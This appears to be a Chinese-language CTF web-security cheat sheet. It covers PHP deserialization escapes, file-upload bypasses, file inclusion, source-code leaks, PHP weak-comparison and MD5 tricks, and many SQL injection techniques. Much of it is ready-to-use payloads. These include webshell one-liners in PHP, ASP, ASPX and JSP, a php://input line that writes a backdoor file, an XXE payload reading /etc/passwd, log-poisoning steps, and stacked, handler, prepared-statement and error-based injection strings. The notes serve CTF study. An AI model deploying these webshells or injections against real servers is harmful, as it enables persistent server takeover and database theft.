public $name='aaaabbbbbbb";s:4:"pass";s:6:"hacker;}";'只是舉個例子,就構(gòu)造類似這樣的就行,后面的閉合有多長就要逃逸多少個字符
如果是以數(shù)組形式傳入的話要注意將各個部分用}再分隔一次,見[0ctf2016 piapiapia]
-
減字符使用場景
[安洵杯 2019]easy_serialize_php
過濾之后將原來的關(guān)鍵字替換為空,也就是說,標(biāo)明長度為6,實際為0,就會繼續(xù)向后讀,找到長度為6的閉合,
對象逃逸
方法引用
- call_user_func()
回調(diào)函數(shù)的使用方法,數(shù)組
小技巧
-
換列名
alter table 表名 change column `原列名` `現(xiàn)列名` 類型(長度)/*varchar(212)*/將密碼列與id列互換,這樣select密碼就是在select id,大大降低密碼爆破難度,只要id和用戶名對就能登錄,使用堆疊注入
-
十六進(jìn)制檢測
mysql支持十六進(jìn)制值查詢,在數(shù)字上下文中,十六進(jìn)制數(shù)如同整數(shù)(64位精度)。在字符串上下文,如同二進(jìn)制字符串,每對十六進(jìn)制數(shù)字被轉(zhuǎn)換為一個字符
-
賦值引用
// ctfshow 265 $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag; } -
大小寫檢測
PHP內(nèi)對函數(shù)不區(qū)分大小寫,類也不區(qū)分大小寫,只有變量名區(qū)分
出現(xiàn)這樣強(qiáng)制修改值的題,就用引用變量的方法,使兩塊變量的空間地址一樣,這樣一改就導(dǎo)致兩個值都變化,等式恒成立
文件上傳
(Web漏洞_文件上傳總結(jié)(前端js驗證、后端驗證、DVWA1.9版本實驗)
)[https://blog.csdn.net/BeatRex/article/details/84625658]
一篇不錯的博客拿來借鑒
前端驗證
-
通過瀏覽器審查元素對網(wǎng)頁的代碼查看,找到對文件格式或大小的限制然后修改即可
-
通過Burpsuite工具對瀏覽器進(jìn)行代理,抓包對包里的內(nèi)容進(jìn)行修改
-
瀏覽器禁用JavaScript腳本
后端驗證
- MIME類型驗證
- 文件后綴驗證
- 文件路徑驗證(權(quán)限問題)
- 文件內(nèi)容驗證
類型繞過
- 改MIME
- 改數(shù)據(jù)包的content-type字段
- 改文件頭
- 利用服務(wù)器解析漏洞
- 點繞過
- $data::繞過
- 00截斷
一句話木馬
-
簡介
Webshell是指以asp,jsp,php或者cgi等網(wǎng)頁形式存在的以中命令執(zhí)行環(huán)境,也可以叫做網(wǎng)頁后門
由于webshell大多是以動態(tài)腳本形式出現(xiàn),有人稱之為網(wǎng)站的后門工具,常常被站長用來管理網(wǎng)站
但是一旦被攻擊者得到可以利用它來達(dá)到長期控制網(wǎng)站服務(wù)器的目的,并獲得執(zhí)行權(quán)限
-
要注意的是一句話里面的“[]”可以替換為“{}”
-
php
<?php @eval($_POST[x]);?> <?php system($_GET['cmd']);?> <?php assert($_REQUEST[cmd]);?><?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");?><?php $func =create_function('',$_REQUEST['cmd']); $func(); ?> -
asp
<%eval request("777")%><%execute request("777")%><%execute(request("777"))%><%executeGlobal request("777")%><%eval(Request(chr(35)))%> #ASCII碼值<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%> -
aspx
<%@ Paage Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
-
phtml
<script Language="php">eval($_REQUEST[shell])</script>
-
jsp
執(zhí)行系統(tǒng)命令且有回顯
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); }out.print("</pre>"); }%>
-
配置文件
-
.htaccess
.htaccess是偽靜態(tài)環(huán)境配置文件,用于lamp,apache
-
.user.ini
參見----->
.user.ini是lnmp文件,里面放的是網(wǎng)站的文件夾路徑地址,目的是放指跨目錄訪問和文件跨目錄讀取.user.ini只對他同一目錄下的文件起作用
自PHP5.3.0起,PHP支持基于每個目錄的INI文件配置,此類文件僅被CGI/FastCGI SAPI處理。此功能使得 PECL 的 htscanner 擴(kuò)展作廢。如果你的 PHP 以模塊化運(yùn)行在 Apache 里,則用 .htaccess 文件有同樣效果。
除了主php.ini之外,PHP還會在每個目錄下掃描INI文件,從被執(zhí)行的PHP文件所在目錄開始一直上升到web根目錄($_SERVER[‘DOCUMENT_ROOT’]所指定的)。如果被執(zhí)行的PHP文件在web個目錄之外,則只掃描該目錄。
在.user.ini風(fēng)格的INI文件中只有具有PHP_INI-PERDIR和PHP_INI_USER模式的INI設(shè)置可被識別。
兩個新的INI指令,user_ini.filename和user_ini.cache_ttl控制著用戶INI文件的使用。
user_ini.filename設(shè)定了PHP會在每個根目錄下搜尋的文件名;如果設(shè)定為空字符串則PHP不會搜尋。默認(rèn)值是.user.ini。
user_ini.cache_ttl控制著重新讀取用戶INI文件的間隔時間。默認(rèn)是300秒(5分鐘)。
auto_append_file=//在文件底部加載文件 auto_prepend_file=//在文件頂部加載文件
常見文件頭
JPEG (jpg), 文件頭:FFD8FF
PNG (png), 文件頭:89504E47 文件尾:0000000049454E44AE426082
GIF (gif), 文件頭:47494638
ZIP Archive (zip), 文件頭:504B0304 文件尾:00000000
TIFF (tif), 文件頭:49492A00
Windows Bitmap (bmp), 文件頭:424D
CAD (dwg), 文件頭:41433130
Adobe Photoshop (psd), 文件頭:38425053
Rich Text Format (rtf), 文件頭:7B5C727466
XML (xml), 文件頭:3C3F786D6C
HTML (html), 文件頭:68746D6C3E
Email [thorough only] (eml), 文件頭:44656C69766572792D646174653A
Outlook Express (dbx), 文件頭:CFAD12FEC5FD746F
Outlook (pst), 文件頭:2142444E
MS Word/Excel (xls.or.doc), 文件頭:D0CF11E0
MS Access (mdb), 文件頭:5374616E64617264204A
WordPerfect (wpd), 文件頭:FF575043
Adobe Acrobat (pdf), 文件頭:255044462D312E
Quicken (qdf), 文件頭:AC9EBD8F
Windows Password (pwl), 文件頭:E3828596
RAR Archive (rar), 文件頭:52617221
Wave (wav), 文件頭:57415645
AVI (avi), 文件頭:41564920
Real Audio (ram), 文件頭:2E7261FD
Real Media (rm), 文件頭:2E524D46
MPEG (mpg), 文件頭:000001BA
MPEG (mpg), 文件頭:000001B3
Quicktime (mov), 文件頭:6D6F6F76
Windows Media (asf), 文件頭:3026B2758E66CF11
MIDI (mid), 文件頭:4D546864
常見MIME類型
-
zip
Content-Type: application/x-zip-compressed
騷操作寫馬
https://yn8rt.blog.csdn.net/article/details/119425905
通過對特定組合字符進(jìn)行操作來拼接出一句話
- 111
- 222
- 333
- 444
小技巧
-
傳文件
ctfshow 169
傳zip改content-type為image/png,然后利用日志包含auto_append_file=/var/log/nginx/access.log
文件包含
常用來寫入shell、命令執(zhí)行
常用偽協(xié)議
https://www.php.net/manual/zh/wrappers.data.php
-
php://input
是一個可以訪問原始數(shù)據(jù)的只讀流
file_get_contents(php://input)接收post數(shù)據(jù)//ctfshow 266
php://input <?PHP fputs(fopen('shell.php','w'),<?php eval($_REQUEST[c])?>)?> (寫入shell)
php://input <?php system('whoami');?>
-
php://filter
php://filter/read=convert.base64-encode/resource=xxx.php(讀文件源碼)
php://filter/write=string.rot13/resource=2.php(寫入文件按)
php://filter/resource=flag.php(讀文件源碼)
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(讀文件源碼)
php://filter/read=convert.quoted-printable-encode/resource=flag.php(讀文件源碼)
compress.zlib://flag.php(讀文件源碼)
-
data://text
data://text/plain,<?php phpinfo();?>(相當(dāng)于代碼執(zhí)行)
data://text/plain;base64,xxxxxx(打印內(nèi)容)
-
zlib://壓縮流
compress.zlib://a.txt(讀文件)
compress.bzip2://file.bz2
日志包含
包含日志文件getshell
- 概述
當(dāng)沒有上傳點,也沒有url_allow_include()功能時,我們可以考慮包含服務(wù)器的日志文件,原理是,當(dāng)訪問網(wǎng)站時日志會記錄我們的行為,如果訪問連接中包含一句話嗎木馬,也會被記錄到日志中。這時候我們?nèi)绻婪?wù)器的日志位置,我們可以去包含這個文件從而拿到shell,關(guān)鍵步驟就是找日志存放的物理路徑。
日志路徑
-
linux
-
nginx
/var/log/nginx/access.log
-
session包含(無后綴文件包含)
-
PHP_SESSION_UPLOAD_PROGRESS
參見利用session.upload_progress進(jìn)行文件包含和反序列化滲透
-
概述
當(dāng)向服務(wù)器上傳一個文件的時候,服務(wù)器會把文件上傳的時間以及進(jìn)度保存在session當(dāng)中,當(dāng)上傳文件結(jié)束之后就會立即清空session文件中的內(nèi)容。
如果session.use_strict_mode值默認(rèn)為0,可以自定義設(shè)置Session ID,如果設(shè)置PHPSESSID=TGAO,那么對應(yīng)的文件就會上傳到/tmp/sess_TGAO,可以看出文件后面的字段是可以被控制的
-
基本思路
先向指定頁面構(gòu)造一個上傳文件的包,然后在包中修改PHP_SESSION_UPLOAD_PROGRESS內(nèi)容,包含命令執(zhí)行POST[2],然后對該臨時文件進(jìn)行包含,然后就可以利用post[2]進(jìn)行命令執(zhí)行,要利用2參數(shù)在指定路徑下生成一個后門文件,其中有eval()函數(shù)執(zhí)行,然后訪問該文件,POST入想要執(zhí)行的命令就行
當(dāng)然,SESSION文件臨時存在,文件上傳完成之后就會進(jìn)行刪除,所以要利用條件競爭先包含到文件進(jìn)行命令執(zhí)行,具體腳本見腳本模塊
包含方法
即使是訪問,如果是從url進(jìn)行注入范根,內(nèi)容是經(jīng)過一次編碼之后記錄到日志文件中的,所以無法進(jìn)行包含執(zhí)行語句,不完整。即使編碼之后傳進(jìn)去,編碼只有進(jìn)入到PHP中才會進(jìn)行解碼,但是記錄到日志文件是在進(jìn)入PHP之前的一個步驟,所以日志文件中還是不可以利用的語句。
但是如果是從UA頭進(jìn)行注入的,那么內(nèi)容就不會經(jīng)過編碼,會直接記錄到日志文件中。
文件開頭exit繞過
(談一談php://filter的妙用)[https://www.leavesongs.com/PENETRATION/php-filter-magic.html]
概述
常見題目形式是寫入文件時在文件頭加一句<?php exit();?>,這樣就無法執(zhí)行后面的語句,但是通過base64特性可以繞過這個死亡exit。
base64
base64中只包含64個可打印字符,所以如果對內(nèi)容進(jìn)行解碼的時候,非base64字符(<>?();)就會被過濾成為phpexit七個字符,但是base64解碼是4個byte一組,所以上傳內(nèi)容時在前面多加一個字符讓phpexitx解碼錯誤,但是后面的語句還可以正常執(zhí)行。
php://filter/convert.base64-decode/resource=s1mple.php
XSS
https://www.cnblogs.com/digdeep/p/4695348.htmlXXE
https://blog.csdn.net/qq_52907838/article/details/118030007
-
概念
XXE漏洞全稱XML External Entity Injection 即XML外部實體注入。
XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時,沒有禁止外部實體的加載,導(dǎo)致可加載惡意外部文件和代碼,造成任意文件讀取、命令執(zhí)行、內(nèi)網(wǎng)端口掃描、攻擊內(nèi)網(wǎng)網(wǎng)站、發(fā)起Dos攻擊等危害。
XXE漏洞觸發(fā)的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進(jìn)行過濾,導(dǎo)致可上傳惡意xml文件。
-
利用
與SQL相似,XXE漏洞也分為有回顯和無回顯
有回顯,可以直接在頁面中看到payload的執(zhí)行結(jié)果或現(xiàn)象。
無回顯,又稱為blind xxe,可以使用外帶數(shù)據(jù)(OOB)通道提取數(shù)據(jù)。即可以引用遠(yuǎn)程服務(wù)器上的XML文件讀取文件。
解析xml在php庫libxml,libxml>=2.9.0的版本中沒有XXE漏洞。
-
例子
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user><username>&admin;</username><password>123456</password></user> -----------------------------------------------------payload解釋:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 稱為 XML prolog ,用于聲明XML文檔的版本和編碼,是可選的,必須放在文檔開頭。standalone值是yes的時候表示DTD僅用于驗證文檔結(jié)構(gòu),從而外部實體將被禁用,但它的默認(rèn)值是no,而且有些parser會直接忽略這一項。
按實體有無參分類,實體分為一般實體和參數(shù)實體,一般實體的聲明:<!ENTITY 實體名稱 "實體內(nèi)容">,引用一般實體的方法:&實體名稱;
外部實體,用來引入外部資源。有SYSTEM和PUBLIC兩個關(guān)鍵字,表示實體來自本地計算機(jī)還是公共計算機(jī)。
因為將file:///flag命名為admin,所以下面用&admin。
PHP引用外部實體,常見的利用協(xié)議:
file://文件絕對路徑 如:file:///etc/passwdhttp://url/file.txtphp://filter/read=convert.base64-encode/resource=xxx.php
源碼泄露
常用備份文件后綴
-
.phps
phps文件就是php的源代碼文件,通常用于提供給用戶(訪問者)查看php代碼,因為用戶無法直接通過瀏覽器看到php文件內(nèi)容,所以需要用phps文件代替。
它的MIME類型為:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。 -
.rar
-
.zip
www.zip(網(wǎng)站源碼文件)
-
.7z
-
.tar.gz
-
.bak
-
.swp
-
.txt
-
.html
參見ctf/web源碼泄露及利用辦法【總結(jié)中】
源碼泄露
.hg源碼泄漏
hg init的時候會生成.hg
工具:dvcs-ripper
rip-hg.pl -v -u http://
.git源碼泄漏
url/.git
.DS_Store文件泄漏
SVN導(dǎo)致文件泄露
.svn
CVS泄漏
vim文件泄露
默認(rèn)情況下使用vim編程,在修改文件后系統(tǒng)會自動生成一個帶~的備份文件,某些情況下可以對其進(jìn)行下載查看index.php~
vim中的swp即swap文件,在編輯文件時產(chǎn)生,它是隱藏文件,如果原文件為submit,則它的鏈?zhǔn)轿募?submit.swp,如果文件正常退出,則此文件自動刪除。
WEB-INF/web.xml泄露
[RoarCTF 2019]Easy Java
-
概念
WEB-INF是Java的WEB應(yīng)用的安全目錄。所謂安全就是客戶端無法訪問,只有服務(wù)端可以訪問的目錄。如果想在頁面中直接訪問其中的文件,必須通過web.xml文件對要訪問的文件進(jìn)行相應(yīng)映射才能訪問。
Java Servlet 是運(yùn)行在 Web 服務(wù)器或應(yīng)用服務(wù)器上的程序,它是作為來自 Web 瀏覽器或其他 HTTP 客戶端的請求和 HTTP 服務(wù)器上的數(shù)據(jù)庫或應(yīng)用程序之間的中間層。
-
servlet
使用 Servlet,您可以收集來自網(wǎng)頁表單的用戶輸入,呈現(xiàn)來自數(shù)據(jù)庫或者其他源的記錄,還可以動態(tài)創(chuàng)建網(wǎng)頁。
-
Servlet 執(zhí)行以下主要任務(wù):
讀取客戶端(瀏覽器)發(fā)送的顯式的數(shù)據(jù)。這包括網(wǎng)頁上的 HTML 表單,或者也可以是來自 applet 或自定義的 HTTP 客戶端程序的表單。
讀取客戶端(瀏覽器)發(fā)送的隱式的 HTTP 請求數(shù)據(jù)。這包括 cookies、媒體類型和瀏覽器能理解的壓縮格式等等。
處理數(shù)據(jù)并生成結(jié)果。這個過程可能需要訪問數(shù)據(jù)庫,執(zhí)行 RMI 或 CORBA 調(diào)用,調(diào)用 Web 服務(wù),或者直接計算得出對應(yīng)的響應(yīng)。
發(fā)送顯式的數(shù)據(jù)(即文檔)到客戶端(瀏覽器)。該文檔的格式可以是多種多樣的,包括文本文件(HTML 或 XML)、二進(jìn)制文件(GIF 圖像)、Excel 等。
發(fā)送隱式的 HTTP 響應(yīng)到客戶端(瀏覽器)。這包括告訴瀏覽器或其他客戶端被返回的文檔類型(例如 HTML),設(shè)置 cookies 和緩存參數(shù),以及其他類似的任務(wù)。
-
-
包含內(nèi)容
/WEB-INF/web.xmlWeb應(yīng)用程序配置文件,描述了servlet和其他得應(yīng)用組件配置及命名規(guī)則
/WEB-INF/classes/包含了站點所有用的class文件,包括servlet class和非servlet class,他們不能包含在.jar文件中(是該目錄不能包含在.jar文件中)
/WEB-INF/lib/存放web應(yīng)用需要的各種JAR文件,放指僅在這個應(yīng)用中要求使用的jar
文件,如數(shù)據(jù)庫驅(qū)動jar文件/WEB-INF/src/源碼目錄,按照包名結(jié)構(gòu)放指各個java文件。
/WEB-INF/database.properties數(shù)據(jù)庫配置文件
/WEB-INF/tags/存放了自定義標(biāo)簽文件,該目錄并不一定為taags,可以根據(jù)自己的喜好和習(xí)慣為自己的標(biāo)簽文件庫命名,當(dāng)使用自定義的標(biāo)簽文件庫名稱時,在使用標(biāo)簽文件時就必須聲明正確的標(biāo)簽文件庫路徑。
/WEB-INF/jsp/jsp 1.2 以下版本的文件存放位置。改目錄沒有特定的聲明,同樣,可以根據(jù)自己的喜好與習(xí)慣來命名。此目錄主要存放的是 jsp 1.2 以下版本的文件,為區(qū)分 jsp 2.0 文件,通常使用 jsp 命名,當(dāng)然你也可以命名為 jspOldEdition 。
/WEB-INF/jsp2/與 jsp 文件目錄相比,該目錄下主要存放 Jsp 2.0 以下版本的文件,當(dāng)然,它也是可以任意命名的,同樣為區(qū)別 Jsp 1.2以下版本的文件目錄,通常才命名為 jsp2。
META-INF相當(dāng)于一個信息包,目錄中的文件和目錄獲得Java 2平臺的認(rèn)可與解釋,用來配置應(yīng)用程序、擴(kuò)展程序、類加載器和服務(wù)
manifest.mf文件,在用jar打包時自動生成。 -
利用方法
通過找到web.xml文件,推斷class文件的路徑,最后直接下載class文件,在通過反編譯class文件,得到網(wǎng)站源碼
數(shù)據(jù)庫泄露
asp+access
- /db/db.mdb
松散比較
PHP 類型比較表
當(dāng)字符串與數(shù)字類型進(jìn)行比較的時候,會將字符串轉(zhuǎn)換為數(shù)字類型再進(jìn)行比較
123=='123a'
- intval() 返回參數(shù)整數(shù)值
常見函數(shù)繞過
md5函數(shù)繞過
參見MD5繞過的技巧
-
MD5函數(shù)特性
$str1 = $_GET['str1']; $str2 = $_GET['str2']; if (md5($str1) == md5($str2)){ die('OK'); }通過構(gòu)造經(jīng)過MD5加密后為0e開頭的字符串會被認(rèn)定為0的科學(xué)計數(shù)法,不管多少次方都為0,從而達(dá)成等價條件
-
MD5值為0e開頭的字符串
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a -
MD5值和雙MD5值開頭都為0e
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM -
sha1值為0e開頭
繞過sha1函數(shù)也可以傳數(shù)組,弱比較
aaK1STfY
aaO8zKZF
-
-
PHP特性
上面的代碼用到的是==(弱比較、松散比較),現(xiàn)在使用===(嚴(yán)格比較)
$str1 = $_GET['str1']; $str2 = $_GET['str2'];if (md5($str1) === md5($str2)) { die('OK'); }強(qiáng)比較不僅比較兩者的值,還會比較兩者的類型
而弱比較進(jìn)行值比較之前還會先轉(zhuǎn)化為相同類型- 這時候可以使用傳數(shù)組的方法,使得md5函數(shù)返回NULL,然后兩false等價,繞過對比
-
MD5碰撞
$str1 = (string)$_GET['str1']; $str2 = (string)$_GET['str2'];if (md5($str1) === md5($str2)) { die('OK'); }有string強(qiáng)制類型轉(zhuǎn)換,傳數(shù)組不可行,這里需要MD5碰撞,給兩個內(nèi)容不同但是MD5值相同的文件,使用fastcoll進(jìn)行相同值md5文件生成,非常迅速
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
兩者變成這樣這樣就可以繞過?爆出來的
-
繞過md5()構(gòu)造攻擊語句
利用字符串生成md5值,md5值某一部分經(jīng)16進(jìn)制轉(zhuǎn)換成為SQl語句閉合,mysql正好把它當(dāng)作16進(jìn)制字符串解析,從而造成閉合問題達(dá)成注入
select * from 'admin' where password=md5($pass,true)- 常用字段
129581926211651571912466741651878684928md5再16進(jìn)制為?0D?'or'8
ffifdyopmd5再16進(jìn)制為'or'6??�
SQL注入
SQL注入一方面主要是考慮如何構(gòu)造第二個查詢語句,不要局限于第一個語句
右查詢
right join
將返回右表中所有記錄,不管前表中有沒有
堆疊注入
ctfshow 195
-
用法
將所有的語句一次性輸入完畢,否則SQL語句可能出現(xiàn)找不到表名的錯誤
username=0x61646d696e;update`ctfshow_user`set`pass`=0x313131;&password=0x313131
Handler
https://www.cnblogs.com/gaonuoqi/p/12398554.html
ctfshow 225、強(qiáng)網(wǎng)杯2018隨便注
-
概念
mysql除可使用select查詢表中的數(shù)據(jù),也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數(shù)據(jù),不過handler語句并不具備select語句的所有功能。它是mysql專用的語句,并沒有包含到SQL標(biāo)準(zhǔn)中。
-
用法
利用handler方法,其作用是HANDLER ... OPEN語句打開一個表,使其可以使用后續(xù)HANDLER ... READ語句訪問,該表對象未被其他會話共享,并且在會話調(diào)用HANDLER ... CLOSE或會話終止之前不會關(guān)閉,也就是可以通過這種方法直接訪問表中的內(nèi)容
/api/?username=';show tables;-- -/api/?username=';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;-- -`1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#`
預(yù)處理
https://blog.csdn.net/solitudi/article/details/107823398?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160652999219721940215459%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=160652999219721940215459&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_blog_default-1-107823398.pc_v2_rank_blog_default&utm_term=%E5%BC%BA%E7%BD%91%E6%9D%AF&spm=1018.2118.3001.4450
ctfshow 226、ctfshow 228-230、強(qiáng)網(wǎng)杯2018隨便注
-
概念
預(yù)編譯語句的優(yōu)勢在于歸納為:一次編譯、多次運(yùn)行,省去了解析優(yōu)化等過程;此外預(yù)編譯語句能防止 SQL 注入。 MySQL 預(yù)處理語句的支持版本較早,所以我們目前普遍使用的 MySQL 版本都是支持這一語法的。
-
方法
PREPARE name from '[my sql sequece]'; //預(yù)定義SQL語句 EXECUTE name; //執(zhí)行預(yù)定義SQL語句 (DEALLOCATE || DROP) PREPARE name; //刪除預(yù)定義SQL語句?username=user1';PREPARE sprint from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE sprint;十六進(jìn)制為(select group_concat(table_name) from information_schema.tables where table_schema=database())
注意,轉(zhuǎn)十六進(jìn)制使用https://www.sojson.com/hexadecimal.html,BEJSON有點不準(zhǔn)
寬字節(jié)注入
-
原理
寬字節(jié)占用兩個字節(jié),普通字符占用一個字節(jié),而頁面在解碼的時候?qū)⒁粋€寬字節(jié)分為兩個普通字節(jié)來解碼,導(dǎo)致包含單引號的字節(jié)逃逸
%D3%27 導(dǎo)致分開解碼,后面的單引號逃逸
報錯注入
-
floor()
floor()函數(shù)作用是返回小于等于該值的最大整數(shù),只保留整數(shù)部分
rand()函數(shù)作用,生成一個大于等于0,小于所給參數(shù)的值,默認(rèn)生成[0,1)
rand(0)生成偽隨機(jī)數(shù),每次生成的隨機(jī)數(shù)都是一樣的,所以利用這一特點報錯注入
group by函數(shù)特性:進(jìn)行數(shù)據(jù)整合之前會將每行數(shù)據(jù)逐條讀入一個虛表中,先根據(jù)數(shù)據(jù)庫中的內(nèi)容對虛表進(jìn)行查詢,如果虛表內(nèi)沒有這一條數(shù)據(jù)就進(jìn)行插入操作,如果有就更新count(*)(自己加的函數(shù)),經(jīng)過rand()計算偽隨機(jī)數(shù)造成查詢插入兩個過程的鍵值不一樣,將0鍵值插入到虛表的1鍵值上導(dǎo)致鍵值重復(fù)而產(chǎn)生的報錯
- 用法
floor(rand(0)*2)生成的偽隨機(jī)數(shù)列為0,1,1,0,1,1(這前六位是固定的)
select null,count(*),group_concat((select database()),floor(rand(0)*2)) as a from information_schema.schemata group by a --+
-
updatexml()
updatexml(XML_DOCUMENT,X_PATH_STRING,new Value)是這個函數(shù)的正確用法,當(dāng)用戶輸入與其格式不符的數(shù)據(jù)時就會發(fā)生報錯,常用方法
updatexml(1,(concat('~',(select database()),'~')),1)
updatexml(1,concat('~',(select(group_concat(left(password,30)))from(H4rDsq1)),'~'),1)# -
extractvalue()
extractvalue(XML_DOCUMENT,X_PATH_String)是這個函數(shù)的正確用法
concat是針對以行數(shù)據(jù)做的拼接,而group_concat是針對列做的數(shù)據(jù)拼接,且group_concat自動生成逗號。
-
報錯注入顯示字符串長度限制
updatexml函數(shù)返回32個字符
利用left和right左右拼接
UPDATE 注入
ctfshow 231
-
概念
不同于平常的查詢語句,注入點出現(xiàn)在更新語句UPDATE中,使得查詢結(jié)果能夠展現(xiàn)在列數(shù)據(jù)庫信息的位置
-
實例
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
payload:password=1'),username=(select group_concat(flagass) from flagaa) where 1=1#&username=1
盲注
Bool盲注
ctfshow 190
-
left($x,y,z)
從字符串x的第y個位置截取z個字符,如果沒有設(shè)置z,就默認(rèn)為從第y個字符截取到末尾
-
chr()
將對應(yīng)的ascii碼轉(zhuǎn)為字符
-
ascii()
獲取字符的ascii碼值
與之功能相同的函數(shù)是ord() -
ord()
獲取字符的ascii碼值
-
length()
獲取字符串長度
-
substr($string,0,1)
從字符串string的第一個位置截取長度為1的字符串
時間盲注
-
sleep(x)
頁面休眠x秒
-
benchmark(,sha(1))
https://www.cnblogs.com/c1e4r/articles/9060525.html
benchmark是Mysql的一個內(nèi)置函數(shù),其作用是來測試一些函數(shù)的執(zhí)行速度。benchmark()中帶有兩個參數(shù),第一個是執(zhí)行的次數(shù),第二個是要執(zhí)行的函數(shù)或者是表達(dá)式
通過數(shù)次執(zhí)行后面函數(shù)來起到延時的作用
select benchmark(10500000,md5('a'));1.5秒
select benchmark(15000000,md5('a'));2.18秒 -
heavy query
https://www.sqlinjection.net/heavy-query/
顧名思義以就是通過大量的查詢導(dǎo)致查詢時間較長來達(dá)到延時的目的,通常選擇一些比較大的表做笛卡爾積運(yùn)算 -
注意
python2中,/表示浮點數(shù)除法,返回一個浮點數(shù)結(jié)果,//表示整數(shù)除法,要引入from __future__ import division
python3中含義不變,不需要引入庫
函數(shù)存儲過程
[MySQL——查看存儲過程和函數(shù)]https://blog.csdn.net/qq_41573234/article/details/80411079
ctfshow 227
-
查看存儲過程和函數(shù)的狀態(tài)
show {PROCEDURE | FUNCTION} STATUS [LIKE 'pattern']
SHOW STATUS 語句是 MySQL 的一個擴(kuò)展。它返回子程序的特征,如數(shù)據(jù)庫、名字、類型、創(chuàng)建者及創(chuàng)建和修改日期。如果沒有指定樣式,根據(jù)使用的語句,所有的存儲程序或存儲函數(shù)的信息都會被列出。PROCEDURE 和 FUNCTION 分別表示查看存儲過程和函數(shù);LIKE 語句表示匹配存儲過程或函數(shù)的名稱。
-
查看存儲過程和函數(shù)的定義
除了SHOW STATUS之外,還可以使用SHOW CREATE語句查看存儲過程和函數(shù)的狀態(tài)。
SHOW CREATE {PROCEDURE | FUNCTION} sp_name
SHOW CREATE 語句是Mysql 的一個擴(kuò)展,類似于SHOW CREATE TABLE ,它返回一個可用來重新創(chuàng)建已命名子程序的確切字符串。PROCEDURE 和 FUNCTION分別表示查看存儲過程和函數(shù);LIK語句表示匹配存儲過程或函數(shù)的名稱。
-
查看存儲過程和函數(shù)的信息
在 MySQL 中,存儲過程和函數(shù)的信息存儲在 information_schema 數(shù)據(jù)庫下的 Routines 表中,可以通過查詢該表的記錄來查詢存儲過程和函數(shù)的信息,其基本的語法形式如下:
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';
其中,ROUTINE_NAME字段種存儲的是存儲過程和函數(shù)的名稱;sp_name參數(shù)表示存儲過程或函數(shù)的名稱。
其他注
[沒見過的注入?]https://www.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5
limit 注入(PROCEDURE)
-
PROCEDURE analyse()
https://www.jb51.net/article/99980.htm
是MySQL內(nèi)置的對MySQL字段值進(jìn)行統(tǒng)計分析后給出建議的字段類型 -
語法
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重復(fù)值的最大值,當(dāng)超過這個值的時候,MySQL不會推薦enum類型。
max_memory
analyse()為每列找出所有非重復(fù)值所采用的最大內(nèi)存大小。
-
payload
limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
group by 注入
-
概念
group by 用來結(jié)合合計函數(shù),根據(jù)一個或者多個列對結(jié)果集進(jìn)行分組
文件名注入
-
文件名傳入數(shù)據(jù)庫,查詢導(dǎo)致注入,見題發(fā)揮
payload.bin,寫入一句話,適用于截取文件type并顯示的題
無列名注入
ctfshow 235 236
https://zhuanlan.zhihu.com/p/98206699
-
概述
無列名注入主要是適用于已經(jīng)獲取到數(shù)據(jù)表,但無法查詢列的情況下,在大多數(shù) CTF 題目中,information_schema 庫被過濾,使用這種方法獲取列名。
-
操作
payload:`select `3` from (select 1,2,3 union select * from admin)a;`原本的列名是id,username,password,使用第一個select之后就將列名命名為1,2,3,再select * 就會將所有信息輸出但是列名變?yōu)?,2,3,所以選中3就是選中了password一列
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-3lCjZDJ4-1653964264389)(.\CTF\wulieming.jpg)] -
換別名
當(dāng)然,多數(shù)情況下,會被過濾。當(dāng) 不能使用的時候,使用別名來代替:
payload:`select b from (select 1,2,3 as b union select * from admin)a;` -
同時查多個列
